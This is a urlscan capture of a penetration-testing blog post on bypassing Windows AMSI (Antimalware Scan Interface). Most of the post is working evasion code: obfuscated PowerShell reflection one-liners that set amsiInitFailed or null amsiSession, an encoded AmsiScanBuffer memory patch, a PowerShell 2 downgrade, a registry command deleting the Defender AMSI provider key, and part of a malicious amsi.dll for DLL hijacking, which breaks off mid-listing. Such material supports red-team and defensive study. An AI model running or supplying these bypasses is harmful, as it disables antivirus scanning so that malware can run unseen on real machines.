pentestlaboratories.com Open in urlscan Pro
192.0.78.25  Public Scan

Submitted URL: http://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
Effective URL: https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/
Submission: On January 03 via manual from IN — Scanned from DE

Form analysis 5 forms found in the DOM

POST https://pentestlaboratories.com/wp-comments-post.php

<form action="https://pentestlaboratories.com/wp-comments-post.php" method="post" id="commentform" class="comment-form" novalidate=""><input type="hidden" id="highlander_comment_nonce" name="highlander_comment_nonce" value="1f5375ad19"><input
    type="hidden" name="_wp_http_referer" value="/2021/05/17/amsi-bypass-methods/">
  <input type="hidden" name="hc_post_as" id="hc_post_as" value="guest">
  <div class="comment-form-field comment-textarea">
    <div id="comment-form-comment"><textarea id="comment" name="comment" title="Enter your comment here..." placeholder="Enter your comment here..." style="overflow: hidden; overflow-wrap: break-word; resize: none; height: 125px;"></textarea></div>
  </div>
  <div id="comment-form-identity" style="display: none;">
    <div id="comment-form-nascar">
      <p>Fill in your details below or click an icon to log in:</p>
      <ul>
        <li class="selected" style="display:none;">
          <a href="#comment-form-guest" id="postas-guest" class="nascar-signin-link" title="Login via Guest">
									</a>
        </li>
        <li>
          <a href="#comment-form-load-service:WordPress.com" id="postas-wordpress" class="nascar-signin-link" title="Login via WordPress.com">
					<svg xmlns="http://www.w3.org/2000/svg" role="presentation" viewBox="0 0 24 24"><rect x="0" fill="none" width="24" height="24"></rect><g><path fill="#0087be" d="M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z"></path></g></svg>				</a>
        </li>
        <li>
          <a href="#comment-form-load-service:Twitter" id="postas-twitter" class="nascar-signin-link" title="Login via Twitter">
					<svg xmlns="http://www.w3.org/2000/svg" role="presentation" viewBox="0 0 24 24"><rect x="0" fill="none" width="24" height="24"></rect><g><path fill="#1DA1F2" d="M22.23 5.924c-.736.326-1.527.547-2.357.646.847-.508 1.498-1.312 1.804-2.27-.793.47-1.67.812-2.606.996C18.325 4.498 17.258 4 16.078 4c-2.266 0-4.103 1.837-4.103 4.103 0 .322.036.635.106.935-3.41-.17-6.433-1.804-8.457-4.287-.353.607-.556 1.312-.556 2.064 0 1.424.724 2.68 1.825 3.415-.673-.022-1.305-.207-1.86-.514v.052c0 1.988 1.415 3.647 3.293 4.023-.344.095-.707.145-1.08.145-.265 0-.522-.026-.773-.074.522 1.63 2.038 2.817 3.833 2.85-1.404 1.1-3.174 1.757-5.096 1.757-.332 0-.66-.02-.98-.057 1.816 1.164 3.973 1.843 6.29 1.843 7.547 0 11.675-6.252 11.675-11.675 0-.178-.004-.355-.012-.53.802-.578 1.497-1.3 2.047-2.124z"></path></g></svg>				</a>
        </li>
        <li>
          <a href="#comment-form-load-service:Facebook" id="postas-facebook" class="nascar-signin-link" title="Login via Facebook">
					<svg xmlns="http://www.w3.org/2000/svg" role="presentation" viewBox="0 0 24 24"><rect x="0" fill="none" width="24" height="24"></rect><g><path fill="#3B5998" d="M20.007 3H3.993C3.445 3 3 3.445 3 3.993v16.013c0 .55.445.994.993.994h8.62v-6.97H10.27V11.31h2.346V9.31c0-2.325 1.42-3.59 3.494-3.59.993 0 1.847.073 2.096.106v2.43h-1.438c-1.128 0-1.346.537-1.346 1.324v1.734h2.69l-.35 2.717h-2.34V21h4.587c.548 0 .993-.445.993-.993V3.993c0-.548-.445-.993-.993-.993z"></path></g></svg>				</a>
        </li>
      </ul>
    </div>
    <div id="comment-form-guest" class="comment-form-service selected">
      <div class="comment-form-padder">
        <div class="comment-form-avatar">
          <a href="https://gravatar.com/site/signup/" target="_blank">				<img src="https://1.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=25" alt="Gravatar" width="25" class="no-grav grav-hashed grav-hijack" id="grav-ad516503a11cd5ca435acc9bb6523536-0">
</a>
        </div>
        <div class="comment-form-fields">
          <div class="comment-form-field comment-form-email">
            <label for="email">Email <span class="required">(required)</span> <span class="nopublish">(Address never made public)</span></label>
            <div class="comment-form-input"><input id="email" name="email" type="email" value=""></div>
          </div>
          <div class="comment-form-field comment-form-author">
            <label for="author">Name <span class="required">(required)</span></label>
            <div class="comment-form-input"><input id="author" name="author" type="text" value=""></div>
          </div>
          <div class="comment-form-field comment-form-url">
            <label for="url">Website</label>
            <div class="comment-form-input"><input id="url" name="url" type="url" value=""></div>
          </div>
        </div>
      </div>
    </div>
    <div id="comment-form-wordpress" class="comment-form-service">
      <div class="comment-form-padder">
        <div class="comment-form-avatar">
          <img src="https://1.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=25" alt="WordPress.com Logo" width="25" class="no-grav grav-hashed grav-hijack" id="grav-ad516503a11cd5ca435acc9bb6523536-1">
        </div>
        <div class="comment-form-fields">
          <input type="hidden" name="wp_avatar" id="wordpress-avatar" class="comment-meta-wordpress" value="">
          <input type="hidden" name="wp_user_id" id="wordpress-user_id" class="comment-meta-wordpress" value="">
          <input type="hidden" name="wp_access_token" id="wordpress-access_token" class="comment-meta-wordpress" value="">
          <p class="comment-form-posting-as pa-wordpress">
            <strong></strong> You are commenting using your WordPress.com account. <span class="comment-form-log-out"> (&nbsp;<a href="javascript:HighlanderComments.doExternalLogout( 'wordpress' );">Log&nbsp;Out</a>&nbsp;/&nbsp;
              <a href="#" onclick="javascript:HighlanderComments.switchAccount();return false;">Change</a>&nbsp;) </span>
            <span class="pa-icon"><svg xmlns="http://www.w3.org/2000/svg" role="presentation" viewBox="0 0 24 24">
                <rect x="0" fill="none" width="24" height="24"></rect>
                <g>
                  <path fill="#0087be"
                    d="M12.158 12.786l-2.698 7.84c.806.236 1.657.365 2.54.365 1.047 0 2.05-.18 2.986-.51-.024-.037-.046-.078-.065-.123l-2.762-7.57zM3.008 12c0 3.56 2.07 6.634 5.068 8.092L3.788 8.342c-.5 1.117-.78 2.354-.78 3.658zm15.06-.454c0-1.112-.398-1.88-.74-2.48-.456-.74-.883-1.368-.883-2.11 0-.825.627-1.595 1.51-1.595.04 0 .078.006.116.008-1.598-1.464-3.73-2.36-6.07-2.36-3.14 0-5.904 1.613-7.512 4.053.21.008.41.012.58.012.94 0 2.395-.114 2.395-.114.484-.028.54.684.057.74 0 0-.487.058-1.03.086l3.275 9.74 1.968-5.902-1.4-3.838c-.485-.028-.944-.085-.944-.085-.486-.03-.43-.77.056-.742 0 0 1.484.114 2.368.114.94 0 2.397-.114 2.397-.114.486-.028.543.684.058.74 0 0-.488.058-1.03.086l3.25 9.665.897-2.997c.456-1.17.684-2.137.684-2.907zm1.82-3.86c.04.286.06.593.06.924 0 .912-.17 1.938-.683 3.22l-2.746 7.94c2.672-1.558 4.47-4.454 4.47-7.77 0-1.564-.4-3.033-1.1-4.314zM12 22C6.486 22 2 17.514 2 12S6.486 2 12 2s10 4.486 10 10-4.486 10-10 10z">
                  </path>
                </g>
              </svg></span>
          </p>
        </div>
      </div>
    </div>
    <div id="comment-form-twitter" class="comment-form-service">
      <div class="comment-form-padder">
        <div class="comment-form-avatar">
          <img src="https://1.gravatar.com/avatar/ad516503a11cd5ca435acc9bb6523536?s=25" alt="Twitter picture" width="25" class="no-grav grav-hashed grav-hijack" id="grav-ad516503a11cd5ca435acc9bb6523536-2">
        </div>
        <div class="comment-form-fields">
          <input type="hidden" name="twitter_avatar" id="twitter-avatar" class="comment-meta-twitter" value="">
          <input type="hidden" name="twitter_user_id" id="twitter-user_id" class="comment-meta-twitter" value="">
          <input type="hidden" name="twitter_access_token" id="twitter-access_token" class="comment-meta-twitter" value="">
          <p class="comment-form-posting-as pa-twitter">
            <strong></strong> You are commenting using your Twitter account. <span class="comment-form-log-out"> (&nbsp;<a href="javascript:HighlanderComments.doExternalLogout( 'twitter' );">Log&nbsp;Out</a>&nbsp;/&nbsp;
              <a href="#" onclick="javascript:HighlanderComments.switchAccount();return false;">Change</a>&nbsp;) </span>
            <span class="pa-icon"><svg xmlns="http://www.w3.org/2000/svg" role="presentation" viewBox="0 0 24 24">
                <rect x="0" fill="none" width="24" height="24"></rect>
                <g>
                  <path fill="#1DA1F2"
                    d="M22.23 5.924c-.736.326-1.527.547-2.357.646.847-.508 1.498-1.312 1.804-2.27-.793.47-1.67.812-2.606.996C18.325 4.498 17.258 4 16.078 4c-2.266 0-4.103 1.837-4.103 4.103 0 .322.036.635.106.935-3.41-.17-6.433-1.804-8.457-4.287-.353.607-.556 1.312-.556 2.064 0 1.424.724 2.68 1.825 3.415-.673-.022-1.305-.207-1.86-.514v.052c0 1.988 1.415 3.647 3.293 4.023-.344.095-.707.145-1.08.145-.265 0-.522-.026-.773-.074.522 1.63 2.038 2.817 3.833 2.85-1.404 1.1-3.174 1.757-5.096 1.757-.332 0-.66-.02-.98-.057 1.816 1.164 3.973 1.843 6.29 1.843 7.547 0 11.675-6.252 11.675-11.675 0-.178-.004-.355-.012-.53.802-.578 1.497-1.3 2.047-2.124z">
                  </path>
                </g>
              </svg></span>
          </p>
        </div>
      </div>
    </div>
    <div id="comment-form-facebook" class="comment-form-service">
      <div class="comment-form-padder">
        <div class="comment-form-avatar">
          <img src="" alt="Facebook photo" width="25" class="no-grav">
        </div>
        <div class="comment-form-fields">
          <input type="hidden" name="fb_avatar" id="facebook-avatar" class="comment-meta-facebook" value="">
          <input type="hidden" name="fb_user_id" id="facebook-user_id" class="comment-meta-facebook" value="">
          <input type="hidden" name="fb_access_token" id="facebook-access_token" class="comment-meta-facebook" value="">
          <p class="comment-form-posting-as pa-facebook">
            <strong></strong> You are commenting using your Facebook account. <span class="comment-form-log-out"> (&nbsp;<a href="javascript:HighlanderComments.doExternalLogout( 'facebook' );">Log&nbsp;Out</a>&nbsp;/&nbsp;
              <a href="#" onclick="javascript:HighlanderComments.switchAccount();return false;">Change</a>&nbsp;) </span>
            <span class="pa-icon"><svg xmlns="http://www.w3.org/2000/svg" role="presentation" viewBox="0 0 24 24">
                <rect x="0" fill="none" width="24" height="24"></rect>
                <g>
                  <path fill="#3B5998"
                    d="M20.007 3H3.993C3.445 3 3 3.445 3 3.993v16.013c0 .55.445.994.993.994h8.62v-6.97H10.27V11.31h2.346V9.31c0-2.325 1.42-3.59 3.494-3.59.993 0 1.847.073 2.096.106v2.43h-1.438c-1.128 0-1.346.537-1.346 1.324v1.734h2.69l-.35 2.717h-2.34V21h4.587c.548 0 .993-.445.993-.993V3.993c0-.548-.445-.993-.993-.993z">
                  </path>
                </g>
              </svg></span>
          </p>
        </div>
      </div>
    </div>
    <div id="comment-form-load-service" class="comment-form-service">
      <div class="comment-form-posting-as-cancel"><a href="javascript:HighlanderComments.cancelExternalWindow();">Cancel</a></div>
      <p>Connecting to %s</p>
    </div>
  </div>
  <script type="text/javascript">
    var highlander_expando_javascript = function() {
      function hide(sel) {
        var el = document.querySelector(sel);
        if (el) {
          el.style.setProperty('display', 'none');
        }
      }

      function show(sel) {
        var el = document.querySelector(sel);
        if (el) {
          el.style.removeProperty('display');
        }
      }
      var input = document.createElement('input');
      var comment = document.querySelector('#comment');
      if (input && comment && 'placeholder' in input) {
        var label = document.querySelector('.comment-textarea label');
        if (label) {
          var text = label.textContent;
          label.parentNode.removeChild(label);
          comment.setAttribute('placeholder', text);
        }
      }
      // Expando Mode: start small, then auto-resize on first click + text length
      hide('#comment-form-identity');
      hide('#comment-form-subscribe');
      hide('#commentform .form-submit');
      if (comment) {
        comment.style.height = '10px';
        var handler = function() {
          comment.style.height = HighlanderComments.initialHeight + 'px';
          show('#comment-form-identity');
          show('#comment-form-subscribe');
          show('#commentform .form-submit');
          HighlanderComments.resizeCallback();
          comment.removeEventListener('focus', handler);
        };
        comment.addEventListener('focus', handler);
      }
    }
    if (document.readyState !== 'loading') {
      highlander_expando_javascript();
    } else {
      document.addEventListener('DOMContentLoaded', highlander_expando_javascript);
    }
  </script>
  <div id="comment-form-subscribe" style="display: none;">
    <p class="comment-subscription-form"><input type="checkbox" name="subscribe" id="subscribe" value="subscribe" style="width: auto;"> <label class="subscribe-label" id="subscribe-label" for="subscribe" style="display: inline;">Notify me of new
        comments via email.</label></p>
    <p class="post-subscription-form"><input type="checkbox" name="subscribe_blog" id="subscribe_blog" value="subscribe" style="width: auto;"> <label class="subscribe-label" id="subscribe-blog-label" for="subscribe_blog"
        style="display: inline;">Notify me of new posts via email.</label></p>
  </div>
  <p class="form-submit" style="display: none;"><input name="submit" type="submit" id="comment-submit" class="submit button" value="Post Comment"> <input type="hidden" name="comment_post_ID" value="2844" id="comment_post_ID">
    <input type="hidden" name="comment_parent" id="comment_parent" value="0">
  </p>
  <p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="429d49b3e8"></p>
  <input type="hidden" name="genseq" value="1672731206">
  <p style="display: none !important;"><label>Δ<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js" value="1672731206252">
    <script>
      document.getElementById("ak_js_1").setAttribute("value", (new Date()).getTime());
    </script>
  </p>
</form>

GET https://pentestlaboratories.com/

<form role="search" method="get" class="search-form" action="https://pentestlaboratories.com/">
  <label>
    <span class="screen-reader-text">Search for:</span>
    <input type="search" class="search-field" placeholder="Search …" value="" name="s">
  </label>
  <input type="submit" class="search-submit" value="Search">
</form>

POST https://subscribe.wordpress.com

<form action="https://subscribe.wordpress.com" method="post" accept-charset="utf-8" id="subscribe-blog">
  <p>Enter your email address to follow Pentest Laboratories and receive notifications of new techniques by email.</p>
  <p id="subscribe-email">
    <label id="subscribe-field-label" for="subscribe-field" class="screen-reader-text"> Email Address: </label>
    <input type="email" name="email" style="width: 95%; padding: 1px 10px" placeholder="Email Address" value="" id="subscribe-field">
  </p>
  <p id="subscribe-submit">
    <input type="hidden" name="action" value="subscribe">
    <input type="hidden" name="blog_id" value="151987412">
    <input type="hidden" name="source" value="https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/">
    <input type="hidden" name="sub-type" value="widget">
    <input type="hidden" name="redirect_fragment" value="subscribe-blog">
    <input type="hidden" id="_wpnonce" name="_wpnonce" value="34694fbf50"> <button type="submit" class="wp-block-button__link"> Follow </button>
  </p>
</form>

POST https://subscribe.wordpress.com

<form method="post" action="https://subscribe.wordpress.com" accept-charset="utf-8" style="display: none;">
  <div class="actnbr-follow-count">Join 70 other followers</div>
  <div>
    <input type="email" name="email" placeholder="Enter your email address" class="actnbr-email-field" aria-label="Enter your email address">
  </div>
  <input type="hidden" name="action" value="subscribe">
  <input type="hidden" name="blog_id" value="151987412">
  <input type="hidden" name="source" value="https://pentestlaboratories.com/2021/05/17/amsi-bypass-methods/">
  <input type="hidden" name="sub-type" value="actionbar-follow">
  <input type="hidden" id="_wpnonce" name="_wpnonce" value="34694fbf50">
  <div class="actnbr-button-wrap">
    <button type="submit" value="Sign me up"> Sign me up </button>
  </div>
</form>

<form id="jp-carousel-comment-form">
  <label for="jp-carousel-comment-form-comment-field" class="screen-reader-text">Write a Comment...</label>
  <textarea name="comment" class="jp-carousel-comment-form-field jp-carousel-comment-form-textarea" id="jp-carousel-comment-form-comment-field" placeholder="Write a Comment..."></textarea>
  <div id="jp-carousel-comment-form-submit-and-info-wrapper">
    <div id="jp-carousel-comment-form-commenting-as">
      <fieldset>
        <label for="jp-carousel-comment-form-email-field">Email (Required)</label>
        <input type="text" name="email" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-email-field">
      </fieldset>
      <fieldset>
        <label for="jp-carousel-comment-form-author-field">Name (Required)</label>
        <input type="text" name="author" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-author-field">
      </fieldset>
      <fieldset>
        <label for="jp-carousel-comment-form-url-field">Website</label>
        <input type="text" name="url" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-url-field">
      </fieldset>
    </div>
    <input type="submit" name="submit" class="jp-carousel-comment-form-button" id="jp-carousel-comment-form-button-submit" value="Post Comment">
  </div>
</form>

Text Content

Skip to content


PENTEST LABORATORIES


MODERN SECURITY CONSULTANCY SERVICES

Menu
 * Home
 * Services
 * Training
 * Blog
 * Contact
 * About Us


AMSI BYPASS METHODS

Posted on May 17, 2021 by Administrator

Microsoft has developed AMSI (Antimalware Scan Interface) as a method to defend
against common malware execution and protect the end user. By default windows
defender interacts with the AMSI API to scan PowerShell scripts, VBA macros,
JavaScript and scripts using the Windows Script Host technology during execution
to prevent arbitrary execution of code. However, other antivirus products might
contain support for AMSI so organisations are not restricted to the use of
windows defender.


HOW AMSI WORKS

When a user executes a script or initiates PowerShell, the AMSI.dll is injected
into the process memory space. Prior to execution the following two API’s are
used by the antivirus to scan the buffer and strings for signs of malware.

 1. AmsiScanBuffer()
 2. AmsiScanString()

If a known signature is identified execution doesn’t initiate and a message
appears that the script has been blocked by the antivirus software. The
following diagram illustrates the process of AMSI scanning.

 * AMSI – Flowchart


AMSI EVASIONS

Microsoft implemented AMSI as a first defense to stop execution of malware
multiple evasions have been publicly disclosed. Since the scan is signature
based red teams and threat actors could evade AMSI by conducting various
tactics. Even though some of the techniques in their original state are blocked,
modification of strings and variables, encoding and obfuscation could revive
even the oldest tactics. Offensive tooling also support AMSI bypasses that could
be used in red team engagements prior to any script execution but manual methods
could be also deployed.


1. POWERSHELL DOWNGRADE

Even though that Windows PowerShell 2.0 has been deprecated by Microsoft it
hasn’t been removed from the operating system. Older versions of PowerShell
doesn’t contain security controls such as AMSI protection and could be utilized
as a form of evasion. Downgrading the PowerShell version to an older version is
trivial and requires execution of the following command:

1
powershell -version 2

 * AMSI Bypass – PowerShell Downgrade


2. BASE64 ENCODING

Fabian Mosch used an old AMSI bypass of Matt Graeber to prove that if base64
encoding is used on strings (AmsiUtils & amsiInitFailed) that trigger AMSI and
decoded at runtime could be used as an evasion defeating the signatures of
Microsoft. This technique prevents AMSI scanning capability for the current
process by setting the “amsiInitFailed” flag.

Original AMSI Bypass

1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Base64 Encoded

1
[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

 * AMSI Bypass – Base64 Encoding


3. HOOKING

Tom Carver created a proof of concept in the form of a DLL file which evades
AMSI by hooking into the “AmsiScanBuffer” function. The “AmsiScanBuffer” will
then be executed with dummy parameters. The DLL needs to be injected into the
PowerShell process which the AMSI bypass will performed.

.\SimpleInjector.exe powershell.exe .\AmsiHook.dll

 * AMSI Bypass – Hooking


4. MEMORY PATCHING

Daniel Duggan released an AMSI bypass which patches the AmsiScanBuffer()
function in order to return always AMSI_RESULT_CLEAN which indicates that no
detection has been found. The patch is displayed in the following line:

1
static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

The bypass has been released in C# and PowerShell. The DLL can be loaded and
executed with the use of the following commands:

1
2
[System.Reflection.Assembly]::LoadFile("C:\Users\pentestlab\ASBBypass.dll")
[Amsi]::Bypass()

 * AMSI Bypass – Memory Patching

By default the PowerShell version is getting flagged. The AMSITrigger could be
used to discover strings that are flagged by the AMSI by making calls to the
“AmsiScanBuffer”. The following lines have been identified and will need to be
obfuscated.

.\AmsiTrigger_x64.exe -i .\ASBBypass.ps1

 * AMSI Scan Buffer Bypass – Identify Strings

Obfuscating the code contained within the PowerShell script will evade AMSI and
perform the memory patching.

1
2
3
4
5
6
7
8
${_/==\_/\__/===\_/} =
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGkAbgBnACAAUwB5AHMAdABlAG0AOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMAOwANAAoAcAB1AGIAbABpAGMAIABjAGwAYQBzAHMAIABXAGkAbgAzADIAIAB7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEcAZQB0AFAAcgBvAGMAQQBkAGQAcgBlAHMAcwAoAEkAbgB0AFAAdAByACAAaABNAG8AZAB1AGwAZQAsACAAcwB0AHIAaQBuAGcAIABwAHIAbwBjAE4AYQBtAGUAKQA7AA0ACgAgACAAIAAgAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAiACkAXQANAAoAIAAgACAAIABwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEwAbwBhAGQATABpAGIAcgBhAHIAeQAoAHMAdAByAGkAbgBnACAAbgBhAG0AZQApADsADQAKACAAIAAgACAAWwBEAGwAbABJAG0AcABvAHIAdAAoACIAawBlAHIAbgBlAGwAMwAyACIAKQBdAA0ACgAgACAAIAAgAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAGIAbwBvAGwAIABWAGkAcgB0AHUAYQBsAFAAcgBvAHQAZQBjAHQAKABJAG4AdABQAHQAcgAgAGwAcABBAGQAZAByAGUAcwBzACwAIABVAEkAbgB0AFAAdAByACAAZAB3AFMAaQB6AGUALAAgAHUAaQBuAHQAIABmAGwATgBlAHcAUAByAG8AdABlAGMAdAAsACAAbwB1AHQAIAB1AGkAbgB0ACAAbABwAGYAbABPAGwAZABQAHIAbwB0AGUAYwB0ACkAOwANAAoAfQA=')))
Add-Type ${_/==\_/\__/===\_/}
${__/=\/==\/\_/=\_/} = [Win32]::LoadLibrary("am" +
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwBpAC4AZABsAGwA'))))
${___/====\__/=====} = [Win32]::GetProcAddress(${__/=\/==\/\_/=\_/},
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQA=')))
+
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGEAbgA=')))
+
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QgB1AGYAZgBlAHIA'))))
${/==\_/=\/\__/\/\/} = 0
[Win32]::VirtualProtect(${___/====\__/=====}, [uint32]5, 0x40,
[ref]${/==\_/=\/\__/\/\/})
${_/\__/=\/\___/==\} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy(${_/\__/=\/\___/==\}, 0,
${___/====\__/=====}, 6)

 * AMSI Bypass – Memory Patching PowerShell

A slightly different approach to the memory patching technique is to use
different machine language instructions (opcodes) as it has been demonstrated in
an article to achieve the result of AMSI_RESULT_CLEAN.

.\amsi-opcode.ps1

 * 

An alternative bypass was released by Paul Laine which modifies the instructions
of the AMSI_RESULT function in memory to prevent sending the content to windows
defender or to any other AMSI provider.

.\AMSI-Patch.ps1

 * AMSI Bypass – Memory Patching


5. FORCING AN ERROR

Forcing the AMSI initialization to fail (amsiInitFailed) will result that no
scan will be initiated for the current process. Originally this was disclosed by
Matt Graeber and Microsoft has developed a signature to prevent wider usage.

1
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Avoiding to use directly the strings with the usage of variables can evade AMSI
with the same method.

1
2
3
4
$w = 'System.Management.Automation.A';$c = 'si';$m = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed' -f $c),'NonPublic,Static')
$field.SetValue($null,$true)

 * AMSI Bypass – Forcing an Error Obfuscation

Since there is a signature for the “amsiInitFailed” flag, Adam Chester
discovered an alternative method which attempt to force a error in order the
flag to be set in a legitimate way and not in the console. This bypass allocates
a memory region for the “amsiContext” and since the “amsiSession” is set to null
will result an error. The discovery has been described in the article “Exploring
PowerShell AMSI and Logging Evasion” in the MDSec website. Using this evasion
without any obfuscation will fail as Microsoft has created signatures.

1
2
3
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null,
[IntPtr]$mem)
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,
$null);

However an obfuscated version of this bypass exists in the amsi.fail website
which is maintained by Melvin Langvik and is displayed also below:

1
$fwi=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((9076+8092-8092));[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$('àmsìSessîõn'.NoRMALiZe([char](70+54-54)+[cHaR](111)+[cHar](114+24-24)+[chaR](106+3)+[chAR](68+26-26))
-replace
[CHAR](24+68)+[chaR]([BytE]0x70)+[CHar]([bYtE]0x7b)+[cHAr](77+45-45)+[chaR](62+48)+[CHAR](125*118/118))",
"NonPublic,Static").SetValue($null,
$null);[Ref].Assembly.GetType("System.Management.Automation.$([cHAr](65)+[cHaR]([byTe]0x6d)+[ChaR]([ByTe]0x73)+[CHaR]([BYte]0x69)+[CHaR](85*31/31)+[cHAR]([byte]0x74)+[cHAR](105)+[cHar](108)+[Char](115+39-39))").GetField("$([char]([bYtE]0x61)+[ChaR]([BYte]0x6d)+[Char](55+60)+[chAr](105+97-97)+[CHAr]([byTe]0x43)+[ChaR](111+67-67)+[char]([BytE]0x6e)+[cHaR]([bYtE]0x74)+[cHAr](101)+[CHar](120)+[cHAR](116))",
"NonPublic,Static").SetValue($null, [IntPtr]$fwi);

 * AMSI Bypass – Forcing an Error


6. REGISTRY KEY MODIFICATION

AMSI Providers are responsible for the scanning process by the antivirus product
and are registered in a location in the registry. The GUID for Windows Defender
is displayed below:

HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}

 * AMSI Provider

Removing the registry key of the AMSI provider will disable the ability of
windows defender to perform AMSI inspection and evade the control. However,
deleting a registry key is not considered a stealthy approach (if there is
sufficient monitoring in place) and also requires elevated rights.

1
Remove-Item -Path
"HKLM:\SOFTWARE\Microsoft\AMSI\Providers\{2781761E-28E0-4109-99FE-B9D127C57AFE}"
-Recurse

 * AMSI Bypass – Registry Key Modification


7. DLL HIJACKING

DLL Hijacking can be also used to evade AMSI from userland as it has been
described by SensePost. The only requirement is to create a non-legitimate
amsi.dll file and plant it on the same folder as PowerShell 64 bit which could
be copied to a user writable directory. The proof of concept code has been
released by SensePost and is also demonstrated below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include "pch.h"
#include "iostream"
 
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
    {
        LPCWSTR appName = NULL;
        typedef struct HAMSICONTEXT {
            DWORD       Signature;            // "AMSI" or 0x49534D41
            PWCHAR      AppName;           // set by AmsiInitialize
            DWORD       Antimalware;       // set by AmsiInitialize
            DWORD       SessionCount;      // increased by AmsiOpenSession
        } HAMSICONTEXT;
        typedef enum AMSI_RESULT {
            AMSI_RESULT_CLEAN,
            AMSI_RESULT_NOT_DETECTED,
            AMSI_RESULT_BLOCKED_BY_ADMIN_START,
            AMSI_RESULT_BLOCKED_BY_ADMIN_END,
            AMSI_RESULT_DETECTED
        } AMSI_RESULT;
 
        typedef struct HAMSISESSION {
            DWORD test;
        } HAMSISESSION;
 
        typedef struct r {
            DWORD r;
        };
 
        void AmsiInitialize(LPCWSTR appName, HAMSICONTEXT * amsiContext);
        void AmsiOpenSession(HAMSICONTEXT amsiContext, HAMSISESSION *
amsiSession);
        void AmsiCloseSession(HAMSICONTEXT amsiContext, HAMSISESSION
amsiSession);
        void AmsiResultIsMalware(r);
